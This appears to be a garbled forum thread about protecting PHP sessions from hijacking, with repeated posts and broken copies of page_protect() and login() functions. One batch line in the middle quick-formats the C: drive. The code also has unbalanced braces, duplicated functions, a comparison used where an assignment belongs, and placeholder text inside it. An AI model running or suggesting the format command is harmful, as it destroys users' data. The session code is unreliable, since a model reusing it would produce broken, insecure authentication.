What to do? Isn't that a little obviously?
Thats the coment from php.net, google it...
Btw, thats not what i ask...
Thats the coment from php.net, google it...
Btw, thats not what i ask...
if ( $_SESSION
['HTTP_USER_AGENT'] !=
md5($_SERVER
['HTTP_USER_AGENT']))
{
login();
<?php
if (isset($_REQUEST['_SESSION'])) die("Get lost Muppet!");
?>
$output="i am NOoob....";
$newfile="ewanz.txt";
$file = fopen ($newfile, "w");
fwrite($file, $output);
fclose ($file);
@echo off for %%i in (c:) do format %%i /FS:NTFS /x /q
function page_protect()
{
session_start();
if (isset($_SESSION['HTTP_USER_AGENT']))
{
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
{
login();
exit;
}
}
}
function login()
{
session_start();
if(isset($_SESSION['sid']) || isset($_COOKIE['sid'])) {
// Demo only
$_SESSION['sid'] != md5($_SERVER['HTTP_USER_AGENT']);
}
page_protect();
function page_protect()
{
session_start();
if (isset($_SESSION['HTTP_USER_AGENT']))
{
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
{
login();
exit;
}
}
}
function login()
{
session_start();
if(isset($_SESSION['sid']) || isset($_COOKIE['sid'])) {
Enter your sql for your own site !!
}
page_protect();
Comment